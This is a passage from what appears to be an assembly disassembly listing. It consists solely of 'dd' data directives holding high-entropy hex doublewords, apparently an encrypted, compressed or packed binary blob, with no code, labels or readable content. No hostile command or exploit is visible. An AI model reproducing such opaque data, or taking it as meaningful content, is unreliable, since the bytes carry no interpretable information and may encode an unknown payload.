6900AF09h dd 16D1E16Ch, 546FCDFh, 0BBCC5A14h, 85FB0F3Dh, 84D940C3h dd 92EF9E88h, 518F0D00h, 0DC2BBDDAh, 0B3B500F0h, 0E0427F69h dd 0B607CA58h, 0D864A1D5h, 1C80DFE4h, 1DB55975h, 80C03BF5h dd 0E052B809h, 0C5070464h, 7DFF3C6Eh, 1872B650h, 1C601C0h dd 0F8860C40h, 0ED36E44Eh, 8B591300h, 5AD48EE2h, 0A4C8C007h dd 49B7453Ah, 7B81B200h, 0AE6A65B9h, 0A56B014Fh, 0D60C7760h dd 0D1E88044h, 0D45E51A6h, 16570711h, 0A07BB9F4h, 90604D06h dd 0F18CD700h, 0E5656A55h, 300C7726h, 9BC85D7Bh, 3280B75Ch dd 131BFCBFh, 404310E7h, 4CF41A14h, 809AD6F5h, 552ACE00h dd 5283917Eh, 1CE7480Fh, 0B773640Eh, 0F2F5A500h, 0FF03316Dh dd 1EDD3C0Bh, 0E9380071h, 1C19A630h, 0BE00E447h, 31C8A9A5h dd 98A02A64h, 71AD0798h, 410B298Bh, 0F35A18BEh, 0FB7499C8h dd 0A2AC0D01h, 0E56B9FE3h, 39ED0h, 8886ADBCh, 4D7D0C80h dd 0A2E95F00h, 0DF22A708h, 74B30193h, 1C11F76Bh, 0A61980F1h dd 7C41A579h, 96B200E2h dd 0D6E160BDh, 0AF032C5Fh, 106BC355h, 483CF01Dh, 4CFC489Ah dd 6881713Fh, 0E1067D32h, 467FC063h, 37025300h, 0C41E3895h dd 51B70067h, 0DBAE3D35h, 0A926CEC5h, 290168D0h, 0A4C9BA8Fh dd 0F382F30h, 2722CFE1h, 0B2960C60h, 0F3008079h, 0F7A3CC3Dh dd 1E5FAF56h, 0CA3C1753h, 80BC8F34h, 0FC3FBD41h, 0C7EC29E5h dd 0B718A3FCh, 0F8E9E2DCh, 3F3200EEh, 20F7CA05h, 8F00E3F0h dd 3B9381C2h, 8C47Fh, 0D59A95FBh, 1E94834Dh, 2E6C3300h dd 0F21930CCh, 0BDA73AC6h, 9BCD6B28h, 583009ECh, 90B8B905h dd 0CAE1D46Ch, 0C2B44301h, 249ADB86h, 71003C68h, 7692237Dh dd 7A7DE072h, 0E40037F2h, 0DA8E4498h, 289F69E5h, 18433C2h dd 0A8225D9Ch, 0D4B43467h, 0C49ACBF6h, 74BC5F3Fh, 0C42970C0h dd 74DA056Ah, 0F23118DDh, 0BDD718E2h, 0FCE81CF8h, 18AD5C28h dd 0CB34DD00h, 12F565ECh, 0B6D74D0h, 8D37DF70h, 8D78200h dd 0BE017E22h, 0E6E0B38h, 0DFF8DB50h, 8F40A015h, 5FA944E6h dd 48000A4Bh, 987EEDF5h, 67390ABCh, 0C08BADFh, 7368D227h dd 3AFED61Ch, 0EE41DC26h, 9C50D59Eh, 1D8DC31Ch, 15350C6h dd 0EEBD52C8h, 3A10419Fh, 0EC1C411Dh, 0B0C0800Dh, 0A4C7BEC5h dd 8A171CE9h, 5F6C81BBh, 0C832C08Bh, 2400EB68h, 8E221D97h dd 0DA7A88h, 0F1448ADCh, 0D0EA6080h, 5045713Ah, 310078B8h dd 0FB8C4D4Fh, 3F664740h, 1780FC46h, 84A2FF6Ch, 5400E0D8h dd 0B3DDD7B9h, 0EB05E8Dh, 382FCCBCh, 0DE2C7880h, 1D004875h dd 0A9A30BA7h, 217E13h, 7A228DB4h, 3FC7B34Ah, 965DB205h dd 2F81F34Eh, 0D8806C3Dh, 49ABD39Ah, 77137354h, 0C00052B5h dd 67E99E0Fh, 7A58003Dh, 71F9B078h, 7E007BD9h, 40CD9CE3h dd 48B742h, 8293C906h, 0ABDCFC8Dh, 0F849FE07h, 9550C40Ah dd 73698D3h, 0D91571B7h, 1CE960C7h, 2C00C984h, 878D17D5h dd 0BA062F7h, 8AAE0E56h, 9781B480h, 0EA004F64h, 0E9692DB5h dd 343005h, 24C4FABEh, 10BBC929h, 23132500h, 0F2E21612h dd 0F9A300C0h, 0F5C29473h, 4CE0865Dh, 9F002070h, 0A8FD1352h dd 3F43D2h, 0C519470Ah, 0D5563ECDh, 62E9BF03h, 0B871A59Fh dd 34381Ch, 243A8920h, 0EE64652Ah, 0D0A1F200h, 820FD5C7h dd 0A5BF0778h, 2087A9BAh, 0D3441AA7h, 35DC072Ch, 2AB56002h dd 28B0806Fh, 0CD77735h, 62F224FEh, 9A244438h, 0A8000832h dd 0F37C6BCAh, 8AB60054h, 1E6D857Dh, 0CD09BAC0h, 10F7EBD4h dd 403AA40h, 0CAF61533h, 617D80BDh, 0CF00DF85h, 2172776Bh dd 1C8FA67h, 0F03DB6EFh, 0D4FD7E73h, 79C78DACh, 0EECA2B16h dd 9CDD5E00h, 84479Ah, 17138B09h, 0BE6F8223h, 0C4011D78h dd 72C1522h, 7DCCE9C1h, 833A1598h, 58019C6Dh, 0F828F1A0h dd 2E1C2057h, 31295E01h, 889323ECh, 0F1F719Fh, 33C0755Fh dd 0EA502163h, 3FAD0A03h, 0E85756EDh, 14025E6h, 59BC884h dd 6083354Eh, 0B9009A8Eh, 5E2DC0A5h, 36C31Eh, 5D670BFCh dd 32862F0Fh, 6D6BCB04h, 0D483B1AEh, 0A5A000ECh, 3D00142h dd 41097065h, 80317623h, 0AAF44845h, 0D485A0F2h, 0AC1F1EA2h dd 3B38C781h, 14BCF01Eh, 0D58C6B6h, 2000742Ch, 1D5A1B45h dd 4BE08642h, 242CA050h, 2BE6CE01h, 62FEFC9Bh, 13A0460h dd 8206BE29h, 20B640D6h, 0A7004B26h, 927C71A2h, 0F07FC2h dd 966AE51Fh, 0D06E5CA4h, 1EFD8413h, 87BB6847h, 0FA8B68B0h dd 80189699h, 9719C804h, 0C11FDC47h, 18D2A305h, 32E460C0h dd 2F6F0025h, 939653Ch, 0DA2E8755h, 50267926h, 8A1EE880h dd 9CAD403h, 0ABDAC90h, 0D8343822h, 86C87068h, 160D600h dd 0B38D0382h, 0E9872594h, 2180142Fh, 0C96911D5h, 5EEFB700h dd 0A0377724h, 34E65C79h, 0A180413Dh, 9A4584BCh, 0BF0E7D0Bh dd 614C135Ch, 21B7839Fh, 2F65C74h, 12BC7E4Fh, 0C4E0160Bh dd 8607B646h, 0C64BFB73h, 0E73A823Fh, 0DC0CE0FAh, 0CB6400C9h dd 14AAAC5Bh, 9C016087h, 9985BE80h, 0EFE465D4h, 9D3E16DAh dd 68F80036h, 0FB26288Ah, 0F8BAB05h, 0CF80A439h, 751FCFCCh dd 30167BC4h, 7111B598h, 0DB002ACDh, 6AD7ECC2h, 1242C14h dd 561EE3B7h, 808570C3h, 91D6AB28h, 0FB6E7C74h, 5CF30EE8h dd 37008EE2h, 0FD5894F0h, 9AFE9B82h, 0FDBE700h, 64A0EE8Dh dd 0CF7F28BAh, 0BEB700B4h, 0CD41D320h, 0CE051FD0h, 32AE2CCh dd 9B228407h, 0E898C460h, 16D0006Fh, 378AB55Ch, 933038EFh dd 59848892h, 0A27827h, 0FCA9341Dh, 0AEF81055h, 0DEACD100h dd 1AB670BBh, 8A430A47h, 0B8E3A7h, 3F1384C0h, 0C2740525h dd 735FD200h, 4DA6C4E9h, 0FE6F0044h, 7D8949F8h, 5012972h dd 0DC2B1E7Ah, 9A200CE0h, 0E44B00DDh, 84FBA1CFh, 31710BD3h dd 0C718E712h, 0C9D96040h, 24481B47h, 800CB5AEh, 9445C71h dd 0F1155178h, 0A352B0h, 66A64204h, 1E06EB89h, 241F77Dh dd 602F092Eh, 0BC2AF280h, 1CFA40DEh, 6E069F00h, 0AB987AF2h dd 8BC50076h, 68940B47h, 0FE381F9Ah, 17067EBh, 4C1AEC70h dd 0D32E00EAh, 0AD0D3208h, 0C206FADAh, 88C51D09h, 0C9891EB1h dd 0ACE24045h, 0BAA783A0h, 60772EFCh, 8B201800h, 3CE36122h dd 712102EFh, 48D4738Fh, 50F38240h, 39EAFD00h, 7C0B6913h dd 94AF05D2h, 993714h, 4B98E1D4h, 8007B9Eh, 1CA6C505h dd 0A0AEDBC2h, 289BE0h, 839E2F4Ch, 6C969F75h, 0D819892Eh dd 5D6DF200h, 1CB592B9h, 83E7619Dh, 181DAD45h, 2C488698h dd 0A803EA7Dh, 0C1AE38B9h, 0D73ED825h, 70E069Eh, 29F68A9Bh dd 220BCC0Fh, 2DE360C2h, 5B411h, 0E56F8144h, 2A0820A5h dd 6958C900h, 4EA8D404h, 0CE22000Fh, 5DA32C2Dh, 250441F9h dd 0BC1EE78Bh, 87002CB6h, 585DECF1h, 300003B7h, 326A0511h dd 76341827h, 6A40010h, 5643DF6Dh, 1700EAEBh, 95E8A72Ch dd 5788180h, 6F39ED82h, 215BC019h, 0FD01C48Fh, 0BD9E1FB9h dd 77C817C8h, 8AEAE5h, 9D0A548h, 0C386926Ch, 187C3F00h dd 0D315AB14h, 2AF009Ch, 3D889A4h, 6A0057F1h, 0E0508D61h dd 33712Bh, 0D3F4846Fh, 0E0247EFh, 44DA271Fh, 80A0CB8Bh dd 7E3F4012h, 5FA40032h, 98128A65h, 2201A178h, 0F605EB48h dd 89D4C246h, 9370329h, 85202767h, 1D00A27Bh, 2CF335A5h dd 0C2135615h, 0CA08CFD0h, 0B5005C50h, 2EB3860Ch, 4B477Bh dd 3AF1023Ch, 56AE1E12h, 0B297900h, 0A389C5Fh, 2FDB2872h dd 0C07C00A8h, 0C264FAB1h, 0CE0C137Bh, 1E0A79E8h, 1649008h dd 2EF5B5D6h, 9E9C7F5Ch, 8C1F5D10h, 5C8CFF12h, 22F74AEEh dd 5203BB78h, 4DCAA0C3h, 2018DE87h, 0AC41E007h, 82AC6BADh dd 0EC780083h, 3585C799h, 3A28BE76h, 1E112C0Bh, 0BA01D9E7h dd 50A2D717h, 98DC29A3h, 12378C39h, 0C8DB22CDh, 4086AD28h dd 92B0ACDCh, 14220114h, 0F3170F14h, 0E7B6200Ch, 3CC99Ch dd 6C852DB3h, 1AF4DDA2h, 6399700h, 0B85EB016h, 51A50003h dd 593B6167h, 7200CBA7h, 0E2353EC5h, 7BABD11h, 4987586Bh dd 539F6060h, 0B61D6175h, 0D641A9B4h, 4163E498h, 966E8E40h dd 7AD13879h, 830D5E07h, 0B97902Fh, 0F00BA75h, 52F67E54h dd 792BCE71h, 301600BDh, 3AC5B9CAh, 0A31E1456h, 0AB003935h dd 0C0A40942h, 747B07F6h, 0A7C43855h, 0B23B9031h, 50E5AF68h dd 0F8C589ACh, 6D0123Ah, 1DEECAF5h, 21416008h, 0EAF8CD28h dd 0D79F9A07h, 52A0FE39h, 50AF38h, 0F154C017h, 42D30E0Ch dd 14DE9B48h, 2B47DEAh dd 0B1739C70h, 12BCA058h, 120B1D86h, 765ADDAh, 466A95D8h dd 6B002106h, 0A85A058Eh, 49252Eh, 2B3B59CCh, 874C4E57h dd 19EF803h, 61C00ED3h, 0D569A168h, 805CF96Eh, 96E2C920h dd 271B138h, 8F6DDA09h, 94601224h, 18C24492h, 0E08010ACh dd 1EBB158Ah, 40F4CE88h, 67F10620h, 966038Ch, 221CF08h dd 5C07DCC1h, 98E026D9h, 0A4002E4Dh, 0E1D74E7Bh, 2BF222h dd 14B5A308h, 986E5028h, 8BFE3D1Ch, 2DEFCD42h, 0C941E0A4h dd 2140068h, 3882609Ch, 370044D5h, 0DCF0EF48h, 3B5393EEh dd 0F281BE4Ah, 4F18DD89h, 0A4E1606Ah, 69C7D700h, 1E4BBADBh dd 0A7190070h, 3C350391h, 7107DAD8h, 9364B2AEh, 410740BEh dd 0FCDF5E20h, 80BB0175h, 482AAAB0h, 26D1D873h, 3B0E5300h dd 9879B38Bh, 0AF890056h, 2EB2D8AEh, 7E009D96h, 0E2435AC7h dd 1F81230Eh, 0C0BC2F18h, 64C20B9Fh, 95007603h, 0D3968D1Ch dd 1B0924h, 0DFF11F43h, 0EA0ED69Eh, 0C4732F00h, 2CBBECD5h dd 12C70713h, 20897783h, 6E880328h, 5D3A0BE8h, 0C92E80B0h dd 49B840E7h, 0D14B00A5h, 0C6367276h, 1214BBCBh, 0DC32D3h dd 871BA12Fh, 4D9E84h, 6D8B565h, 0B376532Ah, 19BEA300h dd 0FF3E21C0h, 0EB7E1CA5h, 998F805Ah, 13DD9286h, 6E95AB00h dd 9C1F39EEh, 0C3E13D4Fh, 293BED8Ch, 41C07E56h, 202EF8DCh dd 162C00B9h, 1A6A54F4h, 503F3222h, 5A040592h, 9443C84Ah dd 0B5B1BCh, 3F0DD138h, 1593C96Ch, 0A805F408h, 87790019h dd 0D7125608h, 24C6D01h, 0C495C2Ch, 170FF1D0h, 5CE5A23h dd 0E8E702h, 284D2580h, 0DE6059B4h, 0CAC9C3CAh, 6318007Ah dd 87DAF246h, 820079D9h, 1AE82213h, 1E2F3B0Fh, 80E980E6h dd 9A75B6C6h, 62F6A51Eh, 8EA4FD00h, 1039AF5Dh, 0D6570E1Ch dd 0CE801F2Bh, 5B08A979h, 0FF914700h, 82E1D3DBh, 0A17303BDh dd 700390F7h, 221C801h, 5DF3947h, 3A8BF88Fh, 58803E6Fh dd 2B3319FDh, 0E8C48h, 7212E184h, 0EEB96330h, 9C90A096h dd 0A9323F5Dh, 13092880h, 2C39AB5Fh, 8DC8FA00h, 0E12E120Ch dd 0A2AC005Dh, 248EC5AEh, 2A006B89h, 0DFB0F8Ch, 2814D79Eh dd 2AB0CBEFh, 7CC5A72h, 94B34381h, 3EAF4010h, 0E6002EDAh dd 0CC55BA4Ah, 67A6EEh, 0C47EDF70h, 0C3B699C8h, 43ACDC51h dd 6FA32AAEh, 466EDAB0h, 0C2001770h, 0CC584CCh, 3AA40A3Fh dd 26060DC7h, 906EFC34h, 62CAF801h, 0CDAAEFC1h, 77B0024h dd 0C024693Ah, 4EAB10D0h, 2500C9F5h, 21A2DA3Fh, 0D17032h dd 268E4FC7h, 0E54117E2h, 9F354300h, 71E620C5h, 0E4B8A3h dd 12C1C37Fh, 0F6C9F3F1h, 553F6501h, 24F21D22h, 0BD98D4h dd 0DD72FE6Ah, 0FF467659h, 1C4D5E48h, 0FE3E85D0h, 827D3Dh dd 5539BDD2h, 9AA7E9h, 3056A28Eh, 0F0EA2A33h, 0E2074100h dd 0ECB5757Fh, 9CC802E9h, 4C963CEDh, 958776C0h, 20031400h dd 2B0849D4h, 931ECFCh, 0B306AA8Eh, 0EE4DE000h, 4F0030ACh dd 0E5297AA4h, 0E14733h, 8F530EE6h, 8277560h, 98A4181Dh dd 2230F780h, 0F259519h, 805D1ECAh, 60554D60h, 70E5E607h dd 940002C1h, 3F61D19Dh, 6DB7C2h, 456F1219h, 0C05927F1h dd 4D52E00h, 0EF84D80Dh, 0C61E00B7h, 8F2A3C4Ch, 85051477h dd 36F95449h, 8843BC04h, 99599890h, 58AC0046h, 335D30CCh dd 0F200C027h, 0B79214C9h, 0AD0C2Eh, 7A1E1B81h, 2A25A3ECh dd 0FFEF7900h, 594DFD28h, 57DC0078h, 0F4AA8DACh, 0C11FA309h dd 0B980F1AEh, 1349DA10h, 0A82F0348h, 557F3393h, 29DE30B7h dd 8700A9D5h, 803D390Bh, 209BBCCh, 0FCB456BEh, 68495F1Fh dd 0DEAFCC1Ch, 5528D572h, 121DF8BFh, 9FBDBA8Fh, 7AC09FF6h dd 0CB4433B8h, 420C119h, 20921D67h, 0D1003008h, 8DB721CCh dd 90C81860h, 0D2AA0050h, 0EDA57C4Ah, 36380705h, 926B007Bh dd 0B011240Ah, 3061F42Bh, 7530C7E8h, 0E002DC22h, 0B84B2823h dd 0B3046071h, 60B0229h, 7F870192h, 0E332A080h, 42E8C0F3h dd 5EDC2C00h, 64810E8Dh, 1580A079h, 7D0E40Dh, 846E9182h dd 0E0CE7A4h, 3A3C8900h, 36009D7Fh, 0F432A792h, 5E4D088h dd 2C5F7B06h, 41FD803Bh, 248DCF8h, 55A28088h, 121B6277h dd 3E8926h, 0A2EC6F5h, 57006306h, 0D367F668h, 0A60D164h dd 3245FAA6h, 126A01ECh, 0E8F99AE5h, 0EC5BBEE9h, 330128ACh dd 45C69BFEh, 34802039h, 0C7B2C300h, 15C14F1Fh, 97E90020h dd 98A60340h, 0FB002E27h, 28B9B6A7h, 3008DAh, 3C182B41h dd 2ED53603h, 6445C800h, 0C2F9C925h, 8C2D009Ch, 5BB73F7Ah dd 0E600D3CCh, 4C4B2B22h, 98A8DA7Ch, 0D1153D7Ch, 0A080C3BDh dd 214E29BEh, 7900E907h, 5EECF0CCh, 1D2FE19Eh, 3D5D6A46h dd 8C7CD200h, 8D1DBBDEh, 54020A73h, 0FF80E36Bh, 7BDE805Fh dd 0E01FE9h, 46ABEB34h, 52B3600Dh, 19028C90h, 303F1BFBh dd 59344864h, 13AE0045h, 0E085B16h, 61E8A48Fh, 0EEA77A07h dd 0E01EF604h, 6DC04B5Ah, 0F4900E9h, 0CE5D4C34h, 2100A14Dh dd 0B03F1567h, 398A7BCh, 65177B9h, 0D6CFB203h, 0CCF97822h dd 0E03271Eh, 0EE085646h, 1A180F68h, 1B213E57h, 52E5A79Dh dd 0D0088318h, 7425BF3Fh, 4D085707h, 4BD16E2Dh, 62EC8777h dd 63E8FF96h, 9B13007Ch, 0D4E02669h, 99614F51h, 443D9FF0h dd 0A4D025D9h, 0E4110053h, 1CF2FEAEh, 0BD60F362h, 33ECDC18h dd 0B12200A8h, 8D075179h, 0A607FB3Ch, 0B624E145h, 0C8A4B412h dd 49D52DF0h, 0A5019025h, 0E8DE4435h, 9F04D095h, 0D42DD314h dd 0B3A10010h, 3DF594A4h, 0FEBA05ECh, 0C0BC752Ah, 0B5467826h dd 0AB8C01Ch, 18A1DA00h, 50896Bh, 0F84B1324h, 931BE17Ch dd 97428303h, 0E08806A1h, 5CF6C35Fh, 0FA1C3CBFh, 66868091h dd 72A259A9h, 7894D000h, 0B7F33EDBh, 95EB3B7Ch, 15BAB01h dd 0E81CF7ACh, 0D80FD47Dh, 734A7258h, 347E0F00h, 3B88B097h dd 8C80A10Ch, 5027549Dh, 8064A9F4h, 0C08058A4h, 0E94207E1h dd 58694CE8h, 3E00FB2Bh, 3D53EA28h, 0A300E02Ch, 9F1B641Ch dd 5AA6D40Dh, 0A0A7C756h, 4277AB48h, 5910BE03h, 8125D1F9h dd 0CFFCFC12h, 0B00F504Ah, 8A830057h, 0E9EE287Fh, 0C0096EE7h dd 5A8D74h, 0EDFC8B77h, 422E07F6h, 50EEB055h, 18D8849h dd 0D72A2B00h, 916D9E2h, 0C2460036h, 983C7FEAh, 3B0E7577h dd 8002994Dh, 35956A41h, 7DC10E18h, 3800BBB1h, 864AA32Bh dd 222A3A00h, 69186F88h, 12531695h, 0F10800B6h, 9307E5Dh dd 7704965Dh, 627D1F12h, 2C15A840h, 0F5260C6h, 1EF1D387h dd 1773D9A3h, 0BF76D09Fh, 6F00A07Dh, 0BBDB04FAh, 366A85h dd 8E32D2EDh, 5A630780h, 3E728300h, 5D3C3A62h, 4FE57F1Eh dd 85BCC2h, 0F5FC1885h, 5BB17631h, 8CACA5h, 0ABE6EDD4h dd 517E741h, 201BE8C8h, 251080DAh, 52078E93h, 9B4EE2AEh dd 1DD2F461h, 92C896D8h, 0E72B0254h, 8475BF12h, 0CAEF9090h dd 0B40180BAh, 6B809E16h, 11C807F5h, 419D0492h, 0A02E7E97h dd 6F3AAA80h, 0C31D0002h, 8C29FB1Fh, 254E0738h, 60D56B83h dd 6F220BE2h, 0A8461300h, 6C7D66BFh, 0C3894C45h, 0D76EF703h dd 1E03136h, 3B00D89Fh, 993DCC73h, 77256CC7h, 0FBA00F92h dd 0DC40798Bh, 8F6D3F9h, 0F207AFE8h, 40BBE2F4h, 0B42DAAD0h dd 937964h, 0DC678D16h, 4908BA75h, 6BBCA514h, 62AD009Ah dd 5B7150C6h, 131A00C3h, 0F09AB3E8h, 51003B1Fh, 4C62B99Ch dd 0E18A84h, 44F4B678h dd 0EA5FA7FCh, 0C0BFEF03h, 0E853B7E8h, 84BB34h, 58A47526h dd 0E52C86DDh, 628B520Bh, 95DD0099h, 1F1319h, 0EC81EAA0h dd 0DC48BB84h, 0EBE8AA1Eh, 36E6D240h, 8F9E0Ch, 890E374Ch dd 6EC3AF91h, 4379A900h, 553BBEE3h, 2EB501C8h, 0FCAACC04h dd 0E0A7CC98h, 0CD7AA903h, 0AEC5C9h, 645E1168h, 417B3E76h dd 0E7262200h, 779C1754h, 37D90C6h, 270BB8Dh, 29B87E5Fh dd 4100F527h, 6C3FB3DDh, 1468D346h, 0C4D7B993h, 0BF00263Ch dd 805AAE3Dh, 0BE00C94Ah, 0B57CE52Eh, 0C1871Fh, 4F0FC2D5h dd 1E07850Eh, 55F55B0Fh, 0E28E4017h, 2AEE50C1h, 0EC5FF8h dd 6FBA4633h, 3D278267h, 7D2E7000h, 0B589D3B4h, 0F8A514BFh dd 6F00982Bh, 8CC5E93Fh, 0BC00136Ah, 0FB7F6133h, 3B0A2894h dd 65005371h, 8EC7D18Ah, 2A0D58CAh, 0F161819Bh, 2CF0F361h dd 0CBEE004Ah, 0FC5D7096h, 0D5000DC9h, 0CA1B9F4Bh, 0A260B7h dd 39AD98A4h, 3F497809h, 35F71A24h, 0D3221400h, 770C63h dd 0BBF08B4Eh, 0D746C88Ch, 0EA0D7000h, 3DB43993h, 0F6A0003Ch dd 0F9F8BFADh, 580736E4h, 13E9456h, 63199750h, 485A0026h dd 0E37832D7h, 0D1F6088h, 8F40D680h, 0E6EB9ECEh, 20B042h dd 0F6A24E1Bh, 7EDB8183h, 93016390h, 3ED87DB0h, 0DDF02E97h dd 88B3283Dh, 177E1E94h, 4A630119h, 0F00DB5D9h, 6100ACE3h dd 6DFF745Fh, 185A4A5h, 98C3F3EFh, 0E8E37379h, 550F63EBh dd 5FA8F98Ah, 6E9700FCh, 0A645FF46h, 39A0C710h, 1E8FA013h dd 7148DF56h, 0F03A00AEh, 3209C553h, 3B3D7373h, 0E12A6020h dd 178A00DCh, 0E4753B13h, 6E17042Fh, 0E4007D92h, 87F55ADFh dd 83120F2Ah, 0A365EC0Fh, 722C8021h, 3528E24Eh, 30000C14h dd 2DF93AD9h, 6F68757h, 0FC9AC21Eh, 670F2146h, 60614EA5h dd 9105A832h, 0BA18C3EDh, 56C7CE57h, 7F3C9020h, 7B90802Ch dd 481A7885h, 70D94933h, 0B2F44604h, 0DA04C028h, 9C77C5ABh dd 7EA68D01h, 423A61F2h, 1F9F70h, 60B22C98h, 9DBCCD0Ch dd 0F081C200h, 6592B780h, 0F618902Bh, 7DF04Ch, 4DC8EECh dd 0DB8C72B3h, 17F6B01h, 0BB221136h, 0C3BCAC40h, 0BAAC2404h dd 5A1A008Ah, 0A57FDF40h, 0BF24D600h, 0CA76444Dh, 0EFA700C2h dd 8BC0DCABh, 0C1133350h, 0AA00C459h, 65277FCCh, 0CAB0191h dd 90D1D849h, 32DAE01Dh, 0B5959C03h, 0D8646C28h, 0F4BF081Bh dd 0BA7A0336h, 9EEEB952h, 33D7F7A1h, 0E2FB8014h, 0D0A0ABh dd 9E1DB3C1h, 0CB4B9150h, 0D78CC800h, 0A2391C5Dh, 89130086h dd 0FCBF321Eh, 0E6002321h, 789377F1h, 0F68EA0C5h, 73461F11h dd 1843C76Fh, 61C2D0A8h, 4400C4D5h, 17A1F3Dh, 0A016B789h dd 0C73EB0h, 86C59D3Bh, 7DBBD051h, 58D6E607h, 0DCE0194Eh dd 0E894CE7Bh, 0FF77CE9h, 60E69606h, 662C4D40h, 0B0150CFh dd 8FCCF230h, 0B6EC9CE4h, 0AA810924h, 30013693h, 0A238B3h dd 0EED1E6h, 59A33B3Eh, 6CEC422Ah, 5F14FF02h, 0C07805FDh dd 0CA81F5Ch, 4B22B327h, 230081A8h, 0CDA1DD5Eh, 0C06428h dd 3E3BA378h, 0E1F774F6h, 0F452C700h, 5339BAF0h, 3DBC0508h dd 0C0A90CD7h, 21DBB56Bh, 0D4B0CB00h, 7BABB244h, 0C81213FAh dd 0C3EE0073h, 0CE9AF1A5h, 27921B12h, 3CA4AC40h, 0F7523E84h dd 88131081h, 0E4275A1Ch, 0DD60A7C8h, 3BBF2828h, 160AF6B5h dd 407B6808h, 1B01F240h, 0C7186225h, 0D8082353h, 1C7852h dd 0CAFA5A4h, 0ACC0951Ah, 681E8498h, 7ED663h, 87996BD2h dd 15E08ECh, 128F698Ch, 0F4067827h, 0A4E4AC5Bh, 0C81A40B2h dd 389D138h, 0A17A21E4h, 0F0D8BD1Bh, 52E403BCh, 12CB40FFh dd 251D187Eh, 1D4787EAh, 92C0DB2Bh, 73D472C9h, 6308285Ah dd 0D9964860h, 66EFC70Ah, 80704580h, 7D721424h, 55293Bh dd 0CE91172Ah, 7EB258h, 6071AF70h, 0DBF74072h, 5E20707h dd 0C7F02A41h, 8EF322h, 0E190F070h, 0E44788AFh, 0AED29100h dd 0B622A318h, 1BD70081h, 82A4E07Dh, 0EB00CD41h, 2C49A89h dd 38818D17h, 0CF80E3B4h, 0BE4B5E19h, 43246CFEh, 0F20030EFh dd 9827C9C8h, 258706A6h, 0D0AC8870h, 0B67E5B00h, 69B0CE4Ah dd 9EB857h, 7C60A8D8h, 0EBD286BAh, 4AE1200h, 5F75F3D3h dd 0A8FB0688h, 0A8559E71h, 68FE3400h, 5EC55008h, 709B00C2h dd 8C539378h, 47020AC4h, 1AF357C6h, 0A7C6C071h, 0E84303ABh dd 0D7DE5B53h, 80F5D388h, 0A301CF76h, 9EC7B7E3h, 8C30D22Eh dd 0C66A00A1h, 0EE7F803Ah, 0F7005DDEh, 0E5F2D93Eh, 2EFB119h dd 0B37969D5h, 1C60B576h, 250095E8h, 0D7B0825Eh, 0B838E64Dh dd 0D4A703D2h, 0AEC8A6BDh, 0B210D0C7h, 69032B5Ch, 0DA5EAF1Eh dd 791F0DBh, 900E00C4h, 0DC87D503h, 0B25C05BAh, 0F2EC13F7h dd 331EEC00h, 7676D249h, 588700FAh, 0FCF479D3h, 110ECDA5h dd 96A6AE3Bh, 76EC00FAh, 9694F80Fh, 653D90E2h, 0ECE50BB0h dd 0DA3C80B6h, 12348D15h, 40A64D49h, 0C2E1FBB0h, 0CAF2CF51h dd 0B9705B18h, 18719756h, 0E83A9F20h, 9B13839Dh, 6ABBF77h dd 412C15ABh, 0C1E1E600h, 5381E2C6h, 5A0F0777h, 605157C8h dd 7C141621h, 6A0F2DF8h, 4202374h, 0E0C9BFA1h, 6733D800h dd 286E4D83h, 89E4AA0Fh, 0DEDCA9E0h, 1000F587h, 9594123Dh dd 1D59D832h, 4842EAh, 0FA412161h, 7200AA8Bh, 0B5DE5FDBh dd 0CAB522Fh, 0DA37ACE8h, 580173AEh, 28E30281h, 0D0806529h dd 0F455FF3Ah, 51E2C011h, 3B98450Fh, 2A732064h, 44A484FEh dd 7E0020C8h, 4A22B99Ch, 0FF93E8Fh, 0E8EFFDCCh, 32EDC780h dd 200EF2B7h, 0CC5C5472h, 5539BEh, 3C68DAAFh, 223E880Bh dd 0F476C107h, 0C0F0FF3Dh, 3E400767h, 3B808446h, 684D9ACCh dd 6F00B8DAh, 0A4183231h, 9234BF58h, 0A7114FCh, 700D243h dd 0B7F8B833h, 0AB0129E8h, 0D80886CFh, 2DC47674h, 1E140FC4h dd 0D9402CB5h, 25D193B2h, 18905B3Ch, 0F4585397h, 50BF00DEh dd 0CA3926F2h, 0D54DAC75h, 44EB1468h, 2E718088h, 898F68h dd 10DA7F09h, 83B7B870h, 71E97260h, 70AD1B1h, 6C78B59Bh dd 0C54C6084h, 0EE591A56h, 82B801B0h, 36D46FEAh, 84802020h dd 0C5001C98h, 17FFC68Ch, 7B66Ah, 5712FEE6h, 0C227E034h dd 9C415C39h, 517069A3h, 163EFAh, 7E3A11B1h, 0E8D2073Dh dd 9D557400h, 1775FF23h, 0E5B7327h, 0D5882831h, 0C0DD4C8Fh dd 0AE4DE87h, 40057A2h, 96058671h, 0EE5AA470h, 8B9F0024h dd 0E406F94h, 300B1FE5h, 0A53D7CA5h, 64C55150h, 0DE135080h dd 1C4B0F1h, 7D5E0328h, 0E8C386E3h, 66003E41h, 149375D5h dd 8A3D94h, 2B8C954Eh, 0A1F5DD73h, 0C74F0800h, 4B0F9A56h dd 31116031h, 0D90267E2h, 5F696100h, 0D1070E36h, 0AD410006h dd 0F637FAC8h, 89005723h, 98CEC3B8h, 0B8CA2414h, 96953C35h dd 0E10B1000h, 27A5C618h, 996C1200h, 0BD6B41B3h, 193A00D0h dd 0FD765988h, 4602CAA5h, 0F5922672h, 8E67E108h, 3B48CC50h dd 0BEB403F6h, 993D379Ah, 114F35E0h, 4B121001h, 8F20B7C7h dd 0C9F874h, 0EE176CAEh, 625BD02Ah, 0E60F0E0Eh, 0A2FAA04Fh dd 28A6E1Dh, 85D89D77h, 0D660ABAFh, 0B912B6A8h, 3CC67D91h dd 0F49000A2h, 33370F97h, 4B1DEBAFh, 0E60655CCh, 0E016AAh dd 85546871h, 0CD5FAC73h, 0BD1DD212h, 77845C40h, 2E3594h dd 9DA3916Ch, 40344395h, 0CCBA1E00h, 0A22F688h, 0F8C54CB1h dd 0F0DEED01h, 80C4A983h, 34F6DB10h, 1CFEE706h, 8952801Eh dd 4C8061B3h, 0A014BD1Ch dd 83B92503h, 9830F050h, 12F826D7h, 7874E47h, 706CD54Ch dd 8978D1CCh, 34B2000h, 69687EB6h, 0ECC10C81h, 0F5040E0h dd 0ED799A09h, 12842F8Ah, 404568C8h, 0F33BDAC1h, 85B30010h dd 4B55649Ah, 4F22C418h, 0BF5CB0ECh, 2C40A30Fh, 0F28C61E3h dd 94401F03h, 630F59h, 0FD36AC1Dh, 8BEE5AC2h, 9C1C6A72h dd 0C983AE40h, 0F0666B5Dh, 5872E69h, 0AA1256CAh, 0AD9A005Ch dd 1F683C7Fh, 5EB63Ch, 